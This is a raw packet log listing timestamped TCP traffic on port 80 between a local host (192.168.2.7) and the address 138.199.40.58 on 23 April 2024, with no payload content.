Apr 23, 2024 08:39:58.767198086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767221928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767282963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767283916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767329931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767343044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767348051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767458916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767549992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767569065 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767585039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767599106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767607927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767622948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767637968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767656088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767710924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767724037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767729998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767736912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767749071 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767767906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767790079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767802954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767806053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767834902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767848015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767854929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767858982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767879963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.767911911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767944098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.767997026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768018007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768038034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768050909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768058062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768063068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768085957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768106937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768135071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768156052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768158913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768213987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768227100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768234968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768239021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768250942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768270016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768347979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768362045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768371105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768392086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768410921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768495083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768544912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768558025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768564939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768569946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768582106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.768600941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.768814087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.769011021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769309998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769428968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.769526958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769589901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769628048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769654989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.769720078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769802094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.769821882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.769872904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770102978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.770452023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770497084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770554066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770575047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.770596027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770658016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770680904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.770713091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770843983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770953894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.770976067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.771017075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771035910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.771090031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771162987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771183014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.771274090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771338940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771359921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.771454096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771553040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.771667957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.772341013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.772419930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.772495031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.772595882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.772674084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.772689104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.772762060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.772933006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773149014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773206949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773263931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773284912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773308039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773394108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773410082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773482084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773549080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773554087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773674011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773716927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773750067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773927927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.773974895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.773998022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774122953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774192095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.774432898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774627924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774710894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774732113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.774817944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774916887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.774923086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.774967909 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775064945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775088072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.775175095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775214911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.775533915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775742054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775839090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.775860071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.775968075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776041031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776056051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.776199102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776272058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776293039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.776606083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776684999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.776705027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776774883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776846886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.776865005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.776921034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777019978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777093887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777101040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.777271986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777292967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.777349949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777580976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.777633905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777760029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777828932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777837038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.777869940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.777990103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.777993917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778078079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778134108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778146982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778191090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778249979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778271914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778341055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778393984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778397083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778497934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778547049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778659105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778682947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778729916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778749943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778826952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778882980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.778884888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.778970957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.779067039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.779078960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.779196978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.779239893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.779328108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.779531956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.779586077 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.781438112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.781532049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.781636000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.781862974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.781912088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.781964064 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.781996965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.782129049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.782532930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.783767939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.783881903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.783953905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.790946960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.790961027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.790972948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.790986061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.790994883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.790997028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791050911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791069984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791146994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791147947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791191101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791227102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791239977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791249037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791301012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791763067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791805029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791835070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791910887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791924953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791938066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.791970968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.791996002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792009115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792062998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792083979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792093992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792112112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792145014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792146921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792167902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792409897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792448044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792449951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792553902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792589903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792602062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792610884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792613983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792691946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792694092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792742014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792752028 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792756081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792778969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792799950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792826891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792876005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792886972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792893887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.792927027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792941093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.792948008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793025017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793040037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793050051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793052912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793138027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793159962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793215990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793219090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793291092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793303967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793327093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793365002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793379068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793431044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793447018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793520927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793544054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793546915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793615103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793615103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793627977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793673038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793688059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793775082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793819904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793843031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793884993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793957949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.793978930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.793994904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794055939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794292927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794419050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794454098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794466019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794500113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794508934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794538975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794550896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794564962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794575930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794589043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794596910 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794614077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794635057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794723988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794724941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794738054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794760942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794785023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794806004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794846058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794863939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794877052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794939995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.794943094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.794994116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795097113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795098066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795305967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795320988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795361042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795380116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795413017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795456886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795469999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795481920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795543909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795571089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795643091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795667887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795670033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795696974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795721054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.795738935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795767069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.795794010 CEST	80	49705	138.199.40.58	192.168.2.7
